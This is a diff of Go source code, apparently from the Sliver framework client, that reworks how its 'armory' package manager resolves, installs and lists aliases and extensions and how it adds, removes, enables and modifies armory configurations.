if packageEntry.Pkg.IsAlias {
|
||||
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
|
||||
name,
|
||||
packageEntry.Alias.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
} else {
|
||||
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
|
||||
packageEntry.Pkg.Name,
|
||||
packageEntry.Extension.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
}
|
||||
optionMap[optionName] = packageEntry.ID
|
||||
}
|
||||
selectedPackageID := getPackageIDFromUser(name, optionMap)
|
||||
if selectedPackageID == doNotInstallPackageName {
|
||||
return nil, fmt.Errorf("user cancelled installation")
|
||||
}
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
if packageEntry.ID == selectedPackageID {
|
||||
return packageEntry, nil
|
||||
}
|
||||
}
|
||||
} else if len(packagesWithCommand) == 1 {
|
||||
return packagesWithCommand[0], nil
|
||||
}
|
||||
return nil, ErrPackageNotFound
|
||||
}
|
||||
|
||||
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
|
||||
packageInstallList := []string{}
|
||||
installedPackages := getInstalledPackageNames()
|
||||
|
||||
/*
|
||||
Gather information about what we are working with
|
||||
|
||||
Find all conflicts within aliases for a given name (or all names), same thing with extensions
|
||||
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
|
||||
*/
|
||||
var requestedPackageList []string
|
||||
if name == "all" {
|
||||
requestedPackageList = []string{}
|
||||
allCommands := getCommandsInCache()
|
||||
for _, cmdName := range allCommands {
|
||||
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[cmdName]; !ok {
|
||||
requestedPackageList = append(requestedPackageList, cmdName)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if !slices.Contains(installedPackages, name) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[name]; !ok {
|
||||
requestedPackageList = []string{name}
|
||||
}
|
||||
} else {
|
||||
return nil, ErrPackageAlreadyInstalled
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageName := range requestedPackageList {
|
||||
if _, ok := pendingPackages[packageName]; ok {
|
||||
// We are already going to install a package with this name, so do not try to resolve it
|
||||
continue
|
||||
}
|
||||
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
pendingPackages[packageName] = packageEntry.ID
|
||||
}
|
||||
|
||||
if !packageEntry.Pkg.IsAlias {
|
||||
dependencies := make(map[string]*pkgCacheEntry)
|
||||
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for pkgName, packageEntry := range dependencies {
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
}
|
||||
if _, ok := pendingPackages[pkgName]; !ok {
|
||||
pendingPackages[pkgName] = packageEntry.ID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return packageInstallList, nil
|
||||
}
|
||||
|
||||
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
pendingPackages := make(map[string]string)
|
||||
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(packageInstallList) > 0 {
|
||||
for _, packageID := range packageInstallList {
|
||||
entry := packageCacheLookupByID(packageID)
|
||||
if entry == nil {
|
||||
return errors.New("cache consistency error - please refresh the cache and try again")
|
||||
}
|
||||
if entry.Pkg.IsAlias {
|
||||
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("Operation complete\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
if !entry.Pkg.IsAlias {
|
||||
return errors.New("package is not an alias")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -174,7 +496,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
@@ -188,50 +510,15 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
deps := make(map[string]struct{})
|
||||
for _, ext := range extm.ExtCommand {
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
for _, multiExt := range entry.Extension.ExtCommand {
|
||||
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
|
||||
for _, multiExt := range pkg.Extension.ExtCommand {
|
||||
if multiExt.DependsOn == "" {
|
||||
continue // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if multiExt.DependsOn == name {
|
||||
if multiExt.DependsOn == pkg.Extension.Name {
|
||||
continue // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
@@ -239,24 +526,28 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
|
||||
if _, ok := deps[multiExt.DependsOn]; ok {
|
||||
continue // Already resolved
|
||||
}
|
||||
// Check to make sure we are not already going to install a package with this name
|
||||
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
|
||||
continue
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
continue
|
||||
}
|
||||
deps[multiExt.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
|
||||
// Figure out what package we need for the dependency
|
||||
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
|
||||
}
|
||||
deps[multiExt.DependsOn] = dependencyEntry
|
||||
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
@@ -302,7 +593,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), con, true)
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,653 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func printArmories(con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Authorization Required",
|
||||
"Enabled",
|
||||
"URL",
|
||||
})
|
||||
|
||||
configuredArmories := getCurrentArmoryConfiguration()
|
||||
|
||||
for _, armory := range configuredArmories {
|
||||
var authRequired string
|
||||
var enabled string
|
||||
if armory.Authorization != "" {
|
||||
authRequired = "yes"
|
||||
} else {
|
||||
authRequired = "no"
|
||||
}
|
||||
if armory.Enabled {
|
||||
enabled = "yes"
|
||||
} else {
|
||||
enabled = "no"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
armory.Name,
|
||||
authRequired,
|
||||
enabled,
|
||||
armory.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
armoryInfo.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Public Key",
|
||||
armoryInfo.PublicKey,
|
||||
})
|
||||
|
||||
enabled := "yes"
|
||||
if !armoryInfo.Enabled {
|
||||
enabled = "no"
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Enabled",
|
||||
enabled,
|
||||
})
|
||||
|
||||
authorizationRequired := "no"
|
||||
if armoryInfo.Authorization != "" {
|
||||
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization required?",
|
||||
authorizationRequired,
|
||||
})
|
||||
if authorizationRequired != "no" {
|
||||
authCmd := armoryInfo.AuthorizationCmd
|
||||
if authCmd == "" {
|
||||
authCmd = "not configured"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization Command",
|
||||
authCmd,
|
||||
})
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
armoryInfo.RepoURL,
|
||||
})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
packageInfo.Pkg.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
packageInfo.Pkg.CommandName,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Armory Name",
|
||||
packageInfo.Pkg.ArmoryName,
|
||||
})
|
||||
|
||||
packageType := "alias"
|
||||
if !packageInfo.Pkg.IsAlias {
|
||||
packageType = "extension"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Package Type",
|
||||
packageType,
|
||||
})
|
||||
if packageType == "alias" {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Alias.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Author",
|
||||
packageInfo.Alias.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Repo URL",
|
||||
packageInfo.Alias.RepoURL,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
packageInfo.Alias.Help,
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Extension.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Original Author",
|
||||
packageInfo.Extension.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Extension Author",
|
||||
packageInfo.Extension.ExtensionAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
packageInfo.Extension.RepoURL,
|
||||
})
|
||||
extCommands := []string{}
|
||||
for _, cmd := range packageInfo.Extension.ExtCommand {
|
||||
extCommands = append(extCommands, cmd.CommandName)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Contains commands",
|
||||
strings.Join(extCommands, ", "),
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
rows = append(rows, table.Row{"Command Info", ""})
|
||||
for _, extCmd := range packageInfo.Extension.ExtCommand {
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
extCmd.CommandName,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Dependencies",
|
||||
extCmd.DependsOn,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
extCmd.Help,
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
}
|
||||
}
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func viewDetailedInformation(con *console.SliverClient, entity string) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Property",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// See where this name exists in the armory and package indexes
|
||||
armoryResult := armoryLookupByName(entity)
|
||||
if armoryResult != nil {
|
||||
tw.AppendRows(generateRowsForArmory(armoryResult))
|
||||
con.Printf("Armory information for %s\n\n", entity)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
|
||||
// Get packages with this name
|
||||
packageResult := packageCacheLookupByName(entity)
|
||||
if len(packageResult) > 0 {
|
||||
con.Printf("Packages named %s\n\n", entity)
|
||||
for _, pkg := range packageResult {
|
||||
tw.AppendRows(generateRowsForPackage(pkg))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
// Get extensions containing commands with this name
|
||||
commandResult := packageCacheLookupByCmd(entity)
|
||||
commandResultFiltered := make([]*pkgCacheEntry, 0)
|
||||
for _, cmd := range commandResult {
|
||||
if !cmd.Pkg.IsAlias {
|
||||
commandResultFiltered = append(commandResultFiltered, cmd)
|
||||
}
|
||||
}
|
||||
if len(commandResultFiltered) > 0 {
|
||||
con.Printf("Packages containing commands named %s\n\n", entity)
|
||||
for _, cmd := range commandResultFiltered {
|
||||
tw.AppendRows(generateRowsForPackage(cmd))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if len(args) == 0 {
|
||||
printArmories(con)
|
||||
return
|
||||
}
|
||||
// If the user wants info on something specific, make sure the caches are up to date
|
||||
refresh(parseArmoryHTTPConfig(cmd))
|
||||
viewDetailedInformation(con, args[0])
|
||||
}
|
||||
|
||||
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Only making one request, so we can limit ourselves to one concurrent request
|
||||
requestChannel := make(chan struct{}, 1)
|
||||
wg.Add(1)
|
||||
requestChannel <- struct{}{}
|
||||
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
|
||||
wg.Wait()
|
||||
|
||||
result, ok := indexCache.Load(armoryInfo.PublicKey)
|
||||
if !ok {
|
||||
return fmt.Errorf("failed to retrieve armory index")
|
||||
}
|
||||
cacheResult := result.(indexCacheEntry)
|
||||
return cacheResult.LastErr
|
||||
}
|
||||
|
||||
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
|
||||
configs := []*assets.ArmoryConfig{}
|
||||
armoryNames := []string{}
|
||||
// If the default armory is in the configuration, force it to be last
|
||||
var defaultConfig *assets.ArmoryConfig
|
||||
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
// Skip over the default armory for now
|
||||
if armoryEntry.Name != assets.DefaultArmoryName {
|
||||
configs = append(configs, &armoryEntry)
|
||||
armoryNames = append(armoryNames, armoryEntry.Name)
|
||||
} else {
|
||||
defaultConfig = &armoryEntry
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
if !armoriesInitialized {
|
||||
/*
|
||||
Armories are initialized on the first call to the armory command
|
||||
If armories are added or removed before the first call, we want
|
||||
to make sure we still load in the ones from the configuration
|
||||
file.
|
||||
*/
|
||||
persistentConfigs := assets.GetArmoriesConfig()
|
||||
for _, config := range persistentConfigs {
|
||||
if !slices.Contains(armoryNames, config.Name) {
|
||||
if config.Name == assets.DefaultArmoryName {
|
||||
if defaultArmoryRemoved {
|
||||
continue
|
||||
} else if defaultConfig != nil {
|
||||
// The user potentially changed something about the default config
|
||||
configs = append(configs, defaultConfig)
|
||||
currentArmories.Store(config.PublicKey, *defaultConfig)
|
||||
continue
|
||||
}
|
||||
}
|
||||
configs = append(configs, config)
|
||||
currentArmories.Store(config.PublicKey, *config)
|
||||
}
|
||||
}
|
||||
return configs
|
||||
}
|
||||
if !defaultArmoryRemoved {
|
||||
if defaultConfig != nil {
|
||||
configs = append(configs, defaultConfig)
|
||||
} else {
|
||||
configs = append(configs, assets.DefaultArmoryConfig)
|
||||
}
|
||||
}
|
||||
assets.RefreshArmoryAuthorization(configs)
|
||||
return configs
|
||||
}
|
||||
|
||||
func armoryNameExists(name string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.Name == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func armoryKeyExists(pubKey string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.PublicKey == pubKey {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Get necessary information
|
||||
url, _ := cmd.Flags().GetString("url")
|
||||
pubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
auth, _ := cmd.Flags().GetString("auth")
|
||||
authCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
noSave, _ := cmd.Flags().GetBool("no-save")
|
||||
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
// Make sure we do not already have an armory config with the supplied name
|
||||
if armoryNameExists(name) {
|
||||
con.PrintErrorf("armory %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
armoryConfig := assets.ArmoryConfig{
|
||||
PublicKey: pubKey,
|
||||
RepoURL: url,
|
||||
Authorization: auth,
|
||||
AuthorizationCmd: authCmd,
|
||||
Name: name,
|
||||
Enabled: true,
|
||||
}
|
||||
|
||||
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
|
||||
err := verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not add armory: %s\n", err)
|
||||
return
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !noSave {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err = assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Armory configuration saved\n")
|
||||
}
|
||||
}
|
||||
con.PrintSuccessf("Added armory %s\n", name)
|
||||
}
|
||||
|
||||
// Get a list of package IDs for an armory by its public key
|
||||
func getPackageIDsForArmory(armoryPublicKey string) []string {
|
||||
packageIDs := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
pkgEntry := value.(pkgCacheEntry)
|
||||
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
packageIDs = append(packageIDs, pkgEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageIDs
|
||||
}
|
||||
|
||||
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
deleted := false
|
||||
newConfiguration := []*assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name != name {
|
||||
newConfiguration = append(newConfiguration, armory)
|
||||
} else {
|
||||
currentArmories.Delete(armory.PublicKey)
|
||||
indexCache.Delete(armory.PublicKey)
|
||||
/*
|
||||
To delete from the package cache, we will have
|
||||
to gather a list of package IDs for the
|
||||
armory then delete them from the cache.
|
||||
*/
|
||||
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
deleted = true
|
||||
}
|
||||
}
|
||||
|
||||
if deleted {
|
||||
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
|
||||
if name == assets.DefaultArmoryName {
|
||||
defaultArmoryRemoved = true
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("Armory %s is not a configured armory\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
err := assets.SaveArmoriesConfig(newConfiguration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func SaveArmories(con *console.SliverClient) {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err := assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Successfully saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
var armoryPublicKey string
|
||||
armoryConfig := assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name == name {
|
||||
armoryPublicKey = armory.PublicKey
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if armoryPublicKey == "" {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
|
||||
value, ok := currentArmories.Load(armoryPublicKey)
|
||||
if !ok {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
armoryConfig = value.(assets.ArmoryConfig)
|
||||
return armoryConfig, nil
|
||||
}
|
||||
|
||||
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
|
||||
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
} else {
|
||||
con.PrintErrorf("an armory name is required")
|
||||
return
|
||||
}
|
||||
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
armoryPublicKey := armoryConfig.PublicKey
|
||||
armoryConfig.Enabled = enabled
|
||||
currentArmories.Store(armoryPublicKey, armoryConfig)
|
||||
|
||||
if !enabled {
|
||||
// Remove cached info for the armory if it is disabled
|
||||
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
indexCache.Delete(armoryPublicKey)
|
||||
}
|
||||
// Force a refresh
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
SaveArmories(con)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Quick check to make sure we were provided with a name
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
}
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get the record for the armory
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Save the old config so we can delete the existing config
|
||||
// and revert if needed
|
||||
previousConfig := assets.ArmoryConfig{
|
||||
PublicKey: armoryConfig.PublicKey,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
Authorization: armoryConfig.Authorization,
|
||||
AuthorizationCmd: armoryConfig.AuthorizationCmd,
|
||||
Name: armoryConfig.Name,
|
||||
Enabled: armoryConfig.Enabled,
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("name") {
|
||||
newName, _ := cmd.Flags().GetString("name")
|
||||
// Make sure the name does not already exist
|
||||
if armoryNameExists(newName) {
|
||||
con.PrintErrorf("armory with name %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
armoryConfig.Name = newName
|
||||
}
|
||||
if cmd.Flags().Changed("pubkey") {
|
||||
newPubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
/*
|
||||
Since public keys are used as the key for the index cache,
|
||||
make sure we have not been given a key that already exists
|
||||
*/
|
||||
if armoryKeyExists(newPubKey) {
|
||||
con.PrintErrorf("armory provided public key already exists\n")
|
||||
return
|
||||
}
|
||||
armoryConfig.PublicKey = newPubKey
|
||||
}
|
||||
if cmd.Flags().Changed("url") {
|
||||
newUrl, _ := cmd.Flags().GetString("url")
|
||||
armoryConfig.RepoURL = newUrl
|
||||
}
|
||||
if cmd.Flags().Changed("auth") {
|
||||
newAuth, _ := cmd.Flags().GetString("auth")
|
||||
armoryConfig.Authorization = newAuth
|
||||
}
|
||||
if cmd.Flags().Changed("authcmd") {
|
||||
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
armoryConfig.AuthorizationCmd = newAuthCmd
|
||||
}
|
||||
|
||||
// We will remove the old armory and add a new one with the changed properties to force a refresh
|
||||
currentArmories.Delete(previousConfig.PublicKey)
|
||||
indexCache.Delete(previousConfig.PublicKey)
|
||||
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
err = verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not modify armory: %s\n", err)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
} else {
|
||||
err = verifyArmory(&previousConfig, clientConfig)
|
||||
if err != nil {
|
||||
